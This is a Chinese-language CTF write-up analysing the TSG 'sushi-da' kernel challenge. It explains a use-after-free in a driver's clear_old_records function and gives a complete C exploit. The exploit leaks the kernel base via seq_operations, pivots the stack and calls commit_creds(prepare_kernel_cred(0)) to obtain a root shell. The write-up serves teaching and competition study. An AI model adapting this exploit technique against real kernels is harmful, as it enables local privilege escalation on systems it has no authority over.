TSG6 sushi-da 内核部分分析

阅读量207974

|

发布时间 : 2021-06-21 17:30:11

 

0x1 开启的保护

run.sh:

qemu-system-x86_64 \
  -kernel bzImage \
  -initrd rootfs.cpio \
  -nographic \
  -monitor none \
  -cpu qemu64 \
  -append "console=ttyS0 kaslr panic=1 nosmep nosmap pti=off quiet oops=panic" \
  -no-reboot \
  -m 256M \
  -s

调试的时候稍微做了修改,把timeout去掉了,加了调试参数。

文件系统解压之后的init

#!/bin/sh

/bin/mount -t proc proc /proc
/bin/mount -t sysfs sysfs /sys
/bin/mount -t devtmpfs devtmpfs /dev
/sbin/mdev -s

mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

mkdir /home
mkdir /home/user
chown 1000:1000 /home/user -R
mv /flag* /home/user
mv /client /home/user/client
chown 1000:1000 /home/user/flag1
chown 1000:1000 /home/user/flag2
chown root:root /home/user/flag3
chown 1000:1000 /home/user/client
chmod 400 /home/user/flag*

insmod /sushi-da.ko
chmod 666 /dev/sushi-da
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo -e "\n\n WELCOME TO SUSHIl 🍵🍣🍵\n\n"
cd /home/user
stty erase ''
stty -echo
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

由于我是直接看的内核部分,所以,把启动程序换成了sh

综上,开启的保护几乎没有,只有地址随机化KASLR。

 

0x2 源码分析

题目给了源码,好评QAQ!!

题目涉及的结构体:

struct record{
  char date[0x10];
  unsigned long result;
};    // 我们控制的结构体

struct ioctl_register_query{
  struct record record;
};    // 用于传入我们设计的结构体

struct ioctl_fetch_query{
  unsigned rank;
  struct record record;
};    // 用于查询输出我们需要的结构体

常规的菜单题目:

  • register_record:负责申请一个初始化为全零的堆块,放入列表里。
  • fetch_record:题目的结构体里面有一个Rank,函数计算出每个堆块的Rank,然后如果有我们指定的Rank,就会输出给我们对应Rank的堆块的内容。
  • clear_old_records:free一部分堆块,我们可以设计这写些可以被free的堆块。
  • clear_all_records:把堆块列表清空,不是free

问题代码在clear_old_records:

long clear_old_records(void)
{
  int ix;
  char tmp[5] = {0};
  long date;
  for (ix = 0; ix != SUSHI_RECORD_MAX; ++ix)
  {
    if (records[ix] == NULL)
      continue;
    strncpy(tmp, records[ix]->date, 4);
    if (kstrtol(tmp, 10, &date) != 0 || date <= 1990)
      kfree(records[ix]);   // BUG : UAF
  }
  return 0;
}

可以明显发现,这里的kfree的没有并没有在堆块列表里置零。造成UAF。

题目源码贴在这里好了。

 

0x3 漏洞利用

由于几乎什么保护也没开,所以我也就常规思路做,先考虑泄漏内核基地址,然后考虑控制RIP来劫持程序流。

这里有个结构体,恰好适合我们做各种操作。

seq_operations:[source]

seq_operations

  • サイズ:0x20 (kmalloc-32)
  • base:4つの関数ポインタから好きなものを使ってリーク可能。
  • heap:リークできない。
  • stack:リークできない。
  • RIP:例えば start を書き換えてreadを呼べばRIPがポン!ってなる。
  • 確保:single_openを使うファイルを開く。/proc/self/statとか。
  • 解放:closeする。
  • 参考:https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/seq_file.h#L32
0x0000: 0xffffffff811c5f70
0x0008: 0xffffffff811c5f90
0x0010: 0xffffffff811c5f80
0x0018: 0xffffffff8120c3f0
[+] kbase = 0xffffffff81000000
Press enter to continue...
[    6.801190] BUG: unable to handle kernel paging request at 00000000deadbeef

这个结构体,里面都是可以用来泄漏的内核基地址的函数指针,并且read函数可以用来劫持RIP,太合适了好吧。

使用方法:

int victim = open("/proc/self/stat", O_RDONLY);
char c;
read(victim, &c, 1); // 劫持RIP

所以思路很明显了:

  • 通过UAF,申请一个堆块,kfree掉它,然后启动/proc/self/stat
  • 输出这个被kfree的堆块的内容,就会输出这些函数指针。泄漏了内核基地址。
  • 然后再次kfree这个这个堆块,向里面放入我们需要的地址,来栈迁移。

关于栈迁移这里:

其实可以有很多mov esp, 0xbalabalagadget,找一个合适的应该就好了吧,我选的是这一条:

0xffffffff816216c0: mov esp, 0xf6ffac28; ret;

然后mmap出来这块空间,写入ROP链,说是ROP链,其实里面也就一个函数:

size_t rop_chain[] = {
    get};

static void get()
{
    commit_creds(prepare_kernel_cred(0));
    asm volatile("swapgs ;"
                 "movq %0, 0x20(%%rsp)\t\n"
                 "movq %1, 0x18(%%rsp)\t\n"
                 "movq %2, 0x10(%%rsp)\t\n"
                 "movq %3, 0x08(%%rsp)\t\n"
                 "movq %4, 0x00(%%rsp)\t\n"
                 "iretq"
                 :
                 : "r"(user_ss),
                   "r"(user_sp),
                   "r"(user_rflags),
                   "r"(user_cs), "r"(pop_shell));

  void pop_shell(void)
{
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);
}

 

0x4 Exploit

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <poll.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>
#include <sys/socket.h>

#define SUSHI_REGISTER_RECORD 0xdead001
#define SUSHI_FETCH_RECORD 0xdead002
#define SUSHI_CLEAR_OLD_RECORD 0xdead003
#define SUSHI_CLEAR_ALL_RECORD 0xdead004

#define SUSHI_RECORD_MAX 0x10
#define SUSHI_NAME_MAX 0x10

struct record
{
    char date[0x10];
    unsigned long result;
};

struct ioctl_register_query
{
    struct record record;
};

struct ioctl_fetch_query
{
    unsigned rank;
    struct record record;
};

#define errExit(msg)              \
    do                            \
    {                             \
        perror("[ERROR EXIT]\n"); \
        perror(msg);              \
        exit(EXIT_FAILURE);       \
    } while (0)

#define WAIT(msg) \
    puts(msg);    \
    fgetc(stdin);

unsigned long long user_cs, user_ss, user_sp, user_rflags;
int fd; // file descriptor
unsigned long long leak, kernbase, heapbase;
unsigned long long base = 0xffffffff81194090;

typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = 0;
_prepare_kernel_cred prepare_kernel_cred = 0;

void pop_shell(void)
{
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);
}

void save_status()
{
    __asm__("mov %cs, user_cs;"
            "mov %ss, user_ss;"
            "mov %rsp, user_sp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

static void get()
{
    commit_creds(prepare_kernel_cred(0));
    asm volatile("swapgs ;"
                 "movq %0, 0x20(%%rsp)\t\n"
                 "movq %1, 0x18(%%rsp)\t\n"
                 "movq %2, 0x10(%%rsp)\t\n"
                 "movq %3, 0x08(%%rsp)\t\n"
                 "movq %4, 0x00(%%rsp)\t\n"
                 "iretq"
                 :
                 : "r"(user_ss),
                   "r"(user_sp),
                   "r"(user_rflags),
                   "r"(user_cs), "r"(pop_shell));
}

unsigned long long calc(unsigned long long addr)
{
    return addr - base + kernbase;
}

int register_record(char *date, unsigned long result)
{
    struct ioctl_register_query request;
    memcpy(request.record.date, date, 0x10);
    request.record.result = result;
    return ioctl(fd, SUSHI_REGISTER_RECORD, &request);
}

int fetch_record(struct ioctl_fetch_query *request)
{
    return ioctl(fd, SUSHI_FETCH_RECORD, request);
}

int clear_old_records()
{
    return ioctl(fd, SUSHI_CLEAR_OLD_RECORD, 0);
}

int clear_all_records()
{
    return ioctl(fd, SUSHI_CLEAR_ALL_RECORD, 0);
}

int main(int argc, char const *argv[])
{
    fd = open("/dev/sushi-da", O_RDWR);
    save_status();

    register_record("1970/12/24\x00", 1970);

    clear_old_records();

    int victim = open("/proc/self/stat", O_RDONLY);

    struct ioctl_fetch_query leak;
    leak.rank = 4;
    fetch_record(&leak);

    kernbase = *(unsigned long *)leak.record.date; // single_start
    printf("Leak single_start addr : %#llx\n", *(unsigned long long *)leak.record.date);

    commit_creds = calc(0xffffffff8106cd00);
    prepare_kernel_cred = calc(0xffffffff8106d110);
    printf("Leak commit_creds addr : %#llx\n", commit_creds);
    printf("Leak prepare_kernel_cred addr : %#llx\n", prepare_kernel_cred);

    unsigned long long *rop =
        (unsigned long long *)mmap(0xf6ffa000,
                                   0x8000,
                                   PROT_READ | PROT_EXEC | PROT_WRITE,
                                   MAP_ANON | MAP_PRIVATE | MAP_POPULATE,
                                   -1, 0);
    printf("Chain: %#llx\n", rop);

    unsigned long long chain[0x100];

    size_t rop_chain[] = {
        get};

    // double free
    clear_old_records();

    memcpy(0xf6ffac28, rop_chain, sizeof(rop_chain));

    struct ioctl_register_query request;
    memset(request.record.date, 0, 0x10);
    *(unsigned long long *)request.record.date = calc(0xffffffff816216c0);
    *((unsigned long long *)request.record.date + 1) = calc(0xffffffff816216c0);
    request.record.result = calc(0xffffffff816216c0);

    register_record((void *)request.record.date, 0xffffffffdeadc0c0);

    printf("Got Shell!\n");

    char c;
    read(victim, &c, 1);
    return 0;
}

// / # ffffffff8106cd00 T commit_creds
// / # ffffffff8106d110 T prepare_kernel_cred
// / # ffffffff81194090 t single_start

// / # sushi_da 16384 0 - Live 0xffffffffc0000000 (O)

// .text:000000000000002E                 call    kmem_cache_alloc_trace ; PIC mode
// b *0xffffffffc000002e
// .text:00000000000001B6                 call    kfree           ; PIC mode
// b *0xffffffffc00001b6
// .text:000000000000014D                 call    _copy_to_user   ; PIC mode
// b *0xffffffffc000014d

// 0xffff88800f2bd500

// pwndbg> x/10gx 0xffff88800f2bd540
// 0xffff88800f2bd540:     0x2f32312f30393931      0x6e6f657800003432
// 0xffff88800f2bd550:     0x000000000000001e      0x0000000000000000

// 0xffffffff816216c0: mov esp, 0xf6ffac28; ret;

c4ecf691196e88a129499f27dbed3462.png

本文由Mech0n原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/241747

安全客 - 有思想的安全新媒体

分享到:微信
+10赞
收藏
Mech0n
分享到:微信

发表评论

Mech0n

这个人太懒了,签名都懒得写一个

  • 文章
  • 2
  • 粉丝
  • 1

TA的文章

热门推荐

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66